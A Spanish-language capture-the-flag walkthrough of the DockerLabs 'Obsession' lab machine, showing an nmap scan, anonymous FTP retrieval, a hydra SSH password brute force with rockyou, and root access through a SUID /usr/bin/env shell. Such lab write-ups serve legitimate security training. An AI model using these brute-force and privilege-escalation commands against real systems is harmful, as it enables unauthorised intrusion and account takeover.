Post

Obsession - DockerLabs

Obsession - DockerLabs

Captura de pantalla de la máquina Obsession en DockerLabs

Hoy explotaremos la máquina Obsession de DockerLabs, de dificultad Muy Fácil. Vamos a obtener datos vía FTP y realizar un ataque de fuerza bruta con hydra.

Desplegamos la máquina

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
sudo bash auto_deploy.sh obsession.tar 
[sudo] contraseña para nmc:     

	                    ##        .         
	              ## ## ##       ==         
	           ## ## ## ##      ===         
	       /""""""""""""""""\___/ ===       
	  ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
	       \______ o          __/           
	         \    \        __/            
	          \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
				     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Escaneo NMAP

Antes que nada, realizaremos un escaneo de puertos con nmap para encontrar los puertos abiertos y qué servicios están corriendo en ellos.

1
2
3
4
5
6
7
8
9
10
11
12
13
➤ nmap -sV -p- --min-rate=100 -T4 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-19 16:34 CST
Nmap scan report for 172.17.0.2
Host is up (0.00011s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.05 seconds

Nos percatamos de que tenemos tres puertos abiertos: 21 (FTP), 22 (SSH) y 80 (HTTP con Apache).

Conexión FTP

Nos conectamos por FTP y nos logueamos con el usuario anónimo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➤ ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.5)
Name (172.17.0.2:nmc): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||26272|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             667 Jun 18  2024 chat-gonza.txt
-rw-r--r--    1 0        0             315 Jun 18  2024 pendientes.txt
226 Directory send OK.
ftp>

Descargamos los dos archivos .txt usando get.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ftp> get chat-gonza.txt
local: chat-gonza.txt remote: chat-gonza.txt
229 Entering Extended Passive Mode (|||8226|)
150 Opening BINARY mode data connection for chat-gonza.txt (667 bytes).
100% |***********************************|   667        4.51 MiB/s    00:00 ETA
226 Transfer complete.
667 bytes received in 00:00 (579.50 KiB/s)
ftp> get pendientes.txt
local: pendientes.txt remote: pendientes.txt
229 Entering Extended Passive Mode (|||40743|)
150 Opening BINARY mode data connection for pendientes.txt (315 bytes).
100% |***********************************|   315        2.91 MiB/s    00:00 ETA
226 Transfer complete.
315 bytes received in 00:00 (368.84 KiB/s)

Revisamos los archivos con cat.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat chat-gonza.txt 
[16:21, 16/6/2024] Gonza: pero en serio es tan guapa esa tal Nágore como dices?
[16:28, 16/6/2024] Russoski: es una auténtica princesa pff, le he hecho hasta un vídeo y todo, lo tengo ya subido y tengo la URL guardada
[16:29, 16/6/2024] Russoski: en mi ordenador en una ruta segura, ahora cuando quedemos te lo muestro si quieres
[21:52, 16/6/2024] Gonza: buah la verdad tenías razón eh, es hermosa esa chica, del 9 no baja
[21:53, 16/6/2024] Gonza: por cierto buen entreno el de hoy en el gym, noto los brazos bastante hinchados, así sí
[22:36, 16/6/2024] Russoski: te lo dije, ya sabes que yo tengo buenos gustos para estas cosas xD, y sí buen training hoy

➤ cat pendientes.txt 
1 Comprar el Voucher de la certificación eJPTv2 cuanto antes!

2 Aumentar el precio de mis asesorías online en la Web!

3 Terminar mi laboratorio vulnerable para la plataforma Dockerlabs!

4 Cambiar algunas configuraciones de mi equipo, creo que tengo ciertos
  permisos habilitados que no son del todo seguros..

Como vemos en el primer archivo, aparecen dos posibles usuarios. Así que utilizaremos hydra mientras observamos la web por si hay alguna pista.

Captura de pantalla de la pagina web de Obsession

Hydra

Como observamos tanto en la web como en el chat, parece que el usuario principal es russoski, así que buscaremos su contraseña con hydra.

1
2
3
4
5
6
➤ hydra -l russoski  -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: russoski   password: iloveme
[STATUS] 14344398.00 tries/min, 14344398 tries in 00:01h, 2 to do in 00:01h, 12 active

Se encontró la contraseña: iloveme

Infiltración

Nos logueamos y aprovechamos los permisos incorrectos, como se menciona en el segundo archivo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➤ ssh russoski@172.17.0.2
russoski@172.17.0.2's password: 
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Jun 20 00:28:48 2025 from 172.17.0.1
russoski@38a21dd80d6e:~$ sudo -l
Matching Defaults entries for russoski on 38a21dd80d6e:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User russoski may run the following commands on 38a21dd80d6e:
    (root) NOPASSWD: /usr/bin/vim

El usuario russoski tiene permiso para ejecutar /usr/bin/vim como root sin contraseña.

Escalada de privilegios

Buscamos archivos con el bit SUID activado:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
russoski@38a21dd80d6e:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/mount
/usr/bin/env
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
russoski@38a21dd80d6e:~$

El binario /usr/bin/env tiene el bit SUID activado, lo que permite ejecutarlo con privilegios de root. Lo aprovechamos para escalar privilegios con el siguiente comando y verificamos con whoami:

1
2
3
4
russoski@38a21dd80d6e:~$ /usr/bin/env /bin/sh -p
# whoami
root
#

Acceso ROOT obtenido

¡Máquina comprometida! Te deseo un feliz hackeo.

This post is licensed under CC BY 4.0 by the author.

Trending Tags